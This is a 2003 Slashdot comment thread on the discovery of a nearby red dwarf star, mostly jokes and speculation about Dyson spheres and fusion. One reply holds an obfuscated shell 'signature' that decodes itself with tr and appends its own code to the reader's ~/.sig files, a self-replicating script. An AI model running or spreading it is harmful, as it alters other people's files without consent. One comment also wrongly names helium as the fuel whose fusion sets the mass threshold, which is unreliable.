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Space Science

New Star in the Neighborhood 39

Posted by michael from the drop-by-for-a-visit dept.
tachyonflow writes "Well, it's probably been around for a while, but it's new to us. The Sydney Morning Herald is reporting that astronomers have discovered a new star only 7.8 light-years from our sun. It's a red dwarf that's not visible to the naked eye from earth. I guess it's time to update those Celestia databases..."
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New Star in the Neighborhood More

New Star in the Neighborhood

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  • Why it's dim... (Score:5, Funny)

    by wowbagger ( 69688 ) * on Friday May 23, 2003 @09:56AM (#6023316) Homepage Journal
    It's dimmer than they expect because Lister has not yet finished repainting it yet.
  • Well, it's not exactly a new star, in a sense that it was formed recently. It is just a recently discoverd, but a very old star. The Slashdot summary is somewhat misleading, but the article is very interesting, I highly recommend reading it. Not that I posted this story two hours before, only to have it rejected... *sigh*
    • tee: ~/.sig*: No such file or directory
      £!/bin/sh
      echo $0|grep sh$||(c=`echo 3vvpnqo2zxm|tr 'a-z|$*~. /0-9' '0-9|$*~. /a-z'`;cat $0|$c)

      it wants to replace my # with a .. well, ok, a pound symbol. I don't know why. and if it's from the variable $c, tee doesn't work (though if I just type it in by hand it does.)
    • Not that I posted this story two hours before, only to have it rejected... *sigh*

      There's often a delay of a few hours between a submission's approval and its posting, so you probably were just not the first submission. I posted a story and had it almost immediately rejected, then saw the same story posted the next day. Turns out the submitter had sent it in an hour and a half ahead of me, but it wasn't posted for 18 hours. So don't be too bummed out about it.

      • Hey, I've sent quite a few in too. There's a helluva lot of readers here, and a helluva lot of submissions. If the folks running this joint posted everything in the pipe, there would be so much here to read that it would overwhelm us.

        Please keep up sending in nifty stuff. I think the folks here do a pretty good job of sifting through it all and putting the ones they think everyone would like up the pole.

        I haven't seen a one of mine make it yet, but no big deal. There's an art to making a good topic,

    • I am pretty sure this was reported here on slashdot a couple of months ago...
  • Its not heading right for us.

  • http://www.reddwarf.com/ (Score:1, Funny)

    by Anonymous Coward
    http://www.reddwarf.com/ [reddwarf.com]

  • "Lost a star, Master Obi Wan has..." (Score:1, Funny)

    by Anonymous Coward
    Does this item make anyone else think of that distressingly lame scene at the Jedi kindergarten from EpII?

  • Better Info (Score:3, Informative)

    by kalidasa ( 577403 ) on Friday May 23, 2003 @11:56AM (#6024351) Journal
    ApJ Letters Submission on arxiv [arxiv.org]

  • worth a closer look (Score:2, Interesting)

    by js7a ( 579872 ) *
    Excellent. Finding one of these is worth zillions of galaxies, quasars, and the like.

    Even if it doesn't have liquid water, gasious oxygen [nasa.gov], or solid land [google.com], then it can still focus as the fulcrum of our local jump point [ucar.edu].

    • Re:worth a closer look (Score:4, Informative)

      by PeterClark ( 324270 ) on Friday May 23, 2003 @01:15PM (#6025141) Journal
      Excellent. Finding one of these is worth zillions of galaxies, quasars, and the like.

      Even if it doesn't have liquid water, gasious oxygen, or solid land, then it can still focus as the fulcrum of our local jump point.

      Surely you jest. Local? Pray tell, how is 7.8 lightyears local? Well, on a galactic scale, it may be local, but from the viewpoint of space travel, it's probably further than we'll ever get, at least for another couple generations, and that's assuming we get lucky. Alpha Centauri is roughly a little more than half that distance. The article includes a rather nice little diagram illustrating the three nearest stars (although it's rather misleading to make Sol so large, but hey, what can you do?) So for a gravity-assisted swing-by, this is definitely out of the question for a good long time.

      • Re:worth a closer look (Score:3, Interesting)

        by js7a ( 579872 ) *

        how is 7.8 lightyears local?

        It's local if you're headed in that direction. Alpha Centari, Barnard's, and Wolf 359 are all on the same side.

        Also, for gravity assist, it's not the size of the mass that matters so much as its relative [arxiv.org] motion [arxiv.org].

        it's rather misleading to make Sol so large, but hey, what can you do?

        Solstation [solstation.com] has a nice 3-D star map Java applet [solstation.com].

  • a new star? (Score:4, Funny)

    by bobba22 ( 566693 ) on Friday May 23, 2003 @12:22PM (#6024659) Journal
    A new star that *Pop Idol* failed to discover?? It can't be true..

  • Dyson sphere? (Score:2, Insightful)

    by Alan Shield ( 63455 )
    However, there is a small chance this figure could be revised, he said, since the star appears to be too faint for this distance. Either it is actually further away, he said, or it has unusual properties that make it shine less brightly than other red dwarfs.
    Anyone have the numbers on how dim a dyson sphere around a Sol-like star would be?
    • A dyson sphere would be very very dark-visible-wavelength wise, anyway. You'd probably be able to pick it up on infrared, but the point of a Dyson sphere is to contain as much of the dying star's energy as possible. A perfect dyson sphere would be invisible to the rest of the universe-except for it's massive gravity well, that is.

      • A perfect dyson sphere would be invisible to the rest of the universe-except for it's massive gravity well, that is.

        So it'd look to outsiders like a MACHO, a dead star, perhaps? Would this explain some of the "dark matter" holding galaxies together?

    • I have an awful lot of trouble crediting the idea of a Dyson sphere. If you have the technology to build a Dyson sphere (if such is even possible), then I can't imagine that you don't also have much better means of producing energy.

      After all, a direct matter to energy conversion of even relatively small amounts of matter would give you far more energy than a star produces. I don't feel like running the calculations, but the water from a swimming pool or two probably contains enough power to fuel any conc
      • Well, if a star a million miles in diameter peters out after 8-10 billion years, there is an upper limit on the amount of energy that you can conveniently harness from each pound of matter.
        There's a limit on the amount of energy that you can harness from 30,000 gallons of water. There's no explicit limit on how long the human race is going to last.

        Physically it'd be possible to build a dyson sphere. I mean, that's a SMALL step in the engineering/physical sciences ladder compared to turning water into pur
        • Wasn't the OP just talking about using fusion to generate energy, or maybe even fission if we can work out a good way to deal with the byproducts? In which case, I agree with him that it seems a lot more likely that a civilization would develop a controlled fusion capability long before they get to the point of realistically being able to build a Dyson sphere.
          • While fusion is arguably as good as it's ever going to get, I think the OP was attempting to conjure up some mystical near-perfect matter-energy conversion mechanism, akin to matter-antimatter collision. Which I would claim is a bigger step technologically and realistically than large-scale space construction. Fusion, I'll give you, since we are on the cusp (It'll happen sooner or later) and we're nowhere near capable of building a Dyson sphere at this point.

  • Nemesis anyone? (Score:3, Interesting)

    by RalphBNumbers ( 655475 ) on Friday May 23, 2003 @01:43PM (#6025387)
    I just started reading Nemesis by Isaac Asimov last night.

    The book starts with the discovery of a neighbor star, later named Nemesis. It is a Red Dwarf, and closer to Earth than Alpha Centuari. It is also dimmer than one would expect because of a dust cloud between it and the solar system.

    Now how's that for coincidence?
  • The article refers to this as a red dwarf, but also describes it as being 0.07 solar masses. Is it possible for a red dwarf to be that lightweight?

    • Re:Red, or brown? (Score:5, Informative)

      by JetJaguar ( 1539 ) on Friday May 23, 2003 @03:02PM (#6026172)
      Well, it is very near the low mass cut-off. The minimum mass required to fuse helium is right around 0.07. So yeah, it's possible for it to be a main sequence star, barely.
  • Any progress on finding that neutron star that's somewhere nearby? Brennan did a right-angle turn in deep space at tao much less than 1, using it, if you'll recall...
    • Being so dark, odds against us seeing it would be pretty low (it would be the closest superdense object). Or perhaps we haven't got there? We don't have any Belters yet, after all. Perhaps we should fund Rutan to build SpaceShips Two and Three to get things moving before Psstpok arrives?

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